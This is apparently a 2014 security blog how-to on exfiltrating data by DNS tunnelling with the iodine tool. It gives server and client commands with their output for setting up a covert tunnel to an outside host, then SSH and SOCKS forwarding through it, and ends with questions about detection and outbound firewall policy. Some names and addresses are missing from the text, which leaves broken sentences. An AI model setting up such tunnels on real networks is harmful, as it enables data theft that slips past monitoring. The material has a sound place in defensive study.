Blog: How Tos

Data Exfiltration: DNS tunnelling using iodine

Jamie Riden 20 Jan 2014

DNS, as we all know, is the way that computers look up human readable names and turn them into IP addresses – and vice versa. Along with that basic function, there are referrals to other name servers, because the whole database is essentially decentralised, with each administrator looking after their particular domains (or zones).

DNS servers can be run in one of two modes – a recursive resolver, which is your computer asks when it needs to look up The resolver starts with .com, finds the relevant nameserver for google, then asks that for the www. prefix, and finally comes back to you with the answer.

The other type, is the name server that is asked in the above case – we say this is an authoritative nameserver – in this case, for

This configuration, and the flow of data enables us to set up a covert channel using DNS queries and responses to pass data between two machines, one inside and one outside the organisational perimeter. In this case, we’re using “iodine” for the DNS tunnel:

For the server, we first need to point our nameserver records to the Internet host that is going to support the remote end of the tunnel. This will need to be a public IP address, say “a.b.c.d” in this case.

Because I am using a domain, I need to query the nominet nameservers. You can find these by running “dig ns”, which I omit for brevity.

$ dig

; < < > > DiG 9.9.3-P2 < < > >
;; global options: +cmd
;; Got answer:
;; -> >HEADER< <- opcode: QUERY, status: NOERROR, id: 26342

And this is a referral to the endpoint server a.b.c.d. Which doesn’t actually answer queries sensible because it is being the tunnel endpoint, hence why you cannot just do a dig

$ dig

;; ANSWER SECTION: 9 IN A a.b.c.d

So now, to run the server on a.b.c.d, use the following, where is a network which is not currently in use by either end.

$ sudo ./iodined -c -P foo -f
Opened dns0
Setting IP of dns0 to
Setting MTU of dns0 to 1130
Opened UDP socket
Listening to dns for domain

On the client:

$ sudo ./bin/iodine -m 1152 -r -P foo -f -d 5
Opened 5
Opened UDP socket
Sending DNS queries for to
Autodetecting DNS query type (use -T to override).
Using DNS type NULL queries
Version ok, both using protocol v 0x00000502. You are user #0
Setting IP of 5 to
Setting MTU of 5 to 1130
Server tunnel IP is
Skipping raw mode
Using EDNS0 extension
Switching upstream to codec Base128
Server switched upstream to codec Base128
No alternative downstream codec available, using default (Raw)
Switching to lazy mode for low-latency
Server switched to lazy mode
Setting downstream fragment size to max 1152…
Connection setup complete, transmitting data.

“foo” is the password by the way, which you should not re-use! In another window, you can now SSH directly to from the internal client machine (where is the private tunnel address of “a.b.c.d”) and forward ports however you like using SSH port forwarding, including passing traffic through to some sort of SOCKS-type proxy on the remote end.

Some things to think about: would you notice this if it were going on? Would you be able to reconstruct the incident from your DNS logs if you were alerted to it?

If you don’t use a default deny policy on your firewall outbound, all this is moot anyway. Any insider, or an attacker who compromises an internal machine can simply export their data directly.